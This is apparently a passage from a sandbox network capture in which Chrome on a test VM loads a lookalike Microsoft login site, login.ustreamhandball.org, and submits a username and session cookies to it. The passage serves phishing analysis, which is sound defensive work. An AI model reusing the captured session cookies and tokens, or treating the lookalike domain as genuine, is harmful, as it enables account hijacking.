2025-01-09 23:21:37 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:37 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:37 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:37 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:37 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-09 23:21:37 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 33 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:36 GMT
2025-01-09 23:21:37 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 45 44 39 36 45 30 0d 0a Data Ascii: Etag: 0x8DB5C3F49ED96E0
2025-01-09 23:21:37 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 39 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:49 GMT
2025-01-09 23:21:37 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50064	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:37 UTC	532	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:38 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:38 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:38 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:38 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:38 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:38 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:38 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:38 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 33 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:37 GMT
2025-01-09 23:21:38 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 30 35 41 35 34 37 39 42 43 31 41 35 0d 0a Data Ascii: Etag: 0x8DD05A5479BC1A5
2025-01-09 23:21:38 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 35 20 4e 6f 76 20 32 30 32 34 20 31 38 3a 34 32 3a 33 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 15 Nov 2024 18:42:38 GMT
2025-01-09 23:21:38 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	50077	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 78 70 39 70 76 70 72 4f 6e 55 57 37 2f 54 78 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 39 65 63 63 39 30 61 33 61 35 37 65 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: xp9pvprOnUW7/Txt.1Context: 1349ecc90a3a57ef
2025-01-09 23:21:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:21:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 78 70 39 70 76 70 72 4f 6e 55 57 37 2f 54 78 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 39 65 63 63 39 30 61 33 61 35 37 65 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 52 7a 77 35 46 51 33 75 57 44 4a 33 49 73 36 77 2f 38 44 30 4f 32 75 73 41 35 4d 78 58 51 43 70 4a 47 54 30 50 50 55 65 4a 50 50 48 76 45 52 43 7a 47 4e 41 2f 6b 70 51 73 65 42 43 67 37 35 42 67 67 47 5a 6d 6b 41 32 68 6a 74 50 68 2b 59 75 46 48 78 48 58 4e 67 32 4f 75 51 4a 74 62 71 31 56 51 48 30 43 49 4c 46 30 76 4b 4b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: xp9pvprOnUW7/Txt.2Context: 1349ecc90a3a57ef<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWRzw5FQ3uWDJ3Is6w/8D0O2usA5MxXQCpJGT0PPUeJPPHvERCzGNA/kpQseBCg75BggGZmkA2hjtPh+YuFHxHXNg2OuQJtbq1VQH0CILF0vKK
2025-01-09 23:21:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 78 70 39 70 76 70 72 4f 6e 55 57 37 2f 54 78 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 33 34 39 65 63 63 39 30 61 33 61 35 37 65 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: xp9pvprOnUW7/Txt.3Context: 1349ecc90a3a57ef<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:21:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:21:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 51 4d 2b 62 31 50 70 30 55 47 47 48 4a 6f 54 39 31 6f 39 71 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /QM+b1Pp0UGGHJoT91o9qA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50085	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:54 UTC	2708	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60 HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	50088	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:22:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 57 32 61 72 79 47 73 35 59 6b 57 77 73 6e 2b 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 31 34 32 39 38 62 34 64 37 63 39 34 30 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: W2aryGs5YkWwsn+K.1Context: 3214298b4d7c9402
2025-01-09 23:22:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-09 23:22:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 57 32 61 72 79 47 73 35 59 6b 57 77 73 6e 2b 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 31 34 32 39 38 62 34 64 37 63 39 34 30 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 52 7a 77 35 46 51 33 75 57 44 4a 33 49 73 36 77 2f 38 44 30 4f 32 75 73 41 35 4d 78 58 51 43 70 4a 47 54 30 50 50 55 65 4a 50 50 48 76 45 52 43 7a 47 4e 41 2f 6b 70 51 73 65 42 43 67 37 35 42 67 67 47 5a 6d 6b 41 32 68 6a 74 50 68 2b 59 75 46 48 78 48 58 4e 67 32 4f 75 51 4a 74 62 71 31 56 51 48 30 43 49 4c 46 30 76 4b 4b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: W2aryGs5YkWwsn+K.2Context: 3214298b4d7c9402<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWRzw5FQ3uWDJ3Is6w/8D0O2usA5MxXQCpJGT0PPUeJPPHvERCzGNA/kpQseBCg75BggGZmkA2hjtPh+YuFHxHXNg2OuQJtbq1VQH0CILF0vKK
2025-01-09 23:22:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 57 32 61 72 79 47 73 35 59 6b 57 77 73 6e 2b 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 32 31 34 32 39 38 62 34 64 37 63 39 34 30 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: W2aryGs5YkWwsn+K.3Context: 3214298b4d7c9402<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-09 23:22:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-09 23:22:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 4f 4c 54 6b 51 44 77 32 45 79 69 44 69 4d 35 66 65 44 35 59 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mOLTkQDw2EyiDiM5feD5Yg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50089	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:22:10 UTC	3165	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive Content-Length: 1974 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 81327477-343f-481b-bf63-194fea1b2100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: 6d79123f-f278-4173-b566-f561b534f115 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQErkNRhkGPFYm4JFxEEswnQ15O56E40vTxtF03m8AZSJvDPdN9LDkgrmaVJE2MtSOqh7k-LK2LsPOMhxZcblu4kwRaJxKZvQFzcHhWgtn6kx2nuqhtqyk2fp9h1GzpwRl053AHUtL_5ZSbFPLH9F-xltTDYIcOiaOJVBI2R8wHCVOnC6qT3j1oG2nNhUsNWuux6hqzNcKyFnJvjeKUe3VFKiAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://login.ustreamhandball.org Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIl [TRUNCATED]
2025-01-09 23:22:10 UTC	1974	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 33 6f 32 74 73 40 6d 70 66 7a 6a 67 2e 63 6f 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 5a 49 5f 69 4e 74 6d 41 4d 55 6c 2d 38 35 33 5a 39 72 47 58 4e 4b 53 6b 4f 55 43 48 55 71 70 62 4f 6e 54 5f 34 4d 51 5a 46 6b 2d 79 37 5a 6b 2d 32 7a 5a 6c 68 63 68 79 37 49 74 57 5f 39 73 66 5a 4a 73 62 64 32 Data Ascii: {"username":"w3o2ts@mpfzjg.co","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhZI_iNtmAMUl-853Z9rGXNKSkOUCHUqpbOnT_4MQZFk-y7Zk-2zZlhchy7ItW_9sfZJsbd2
2025-01-09 23:22:11 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:22:11 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
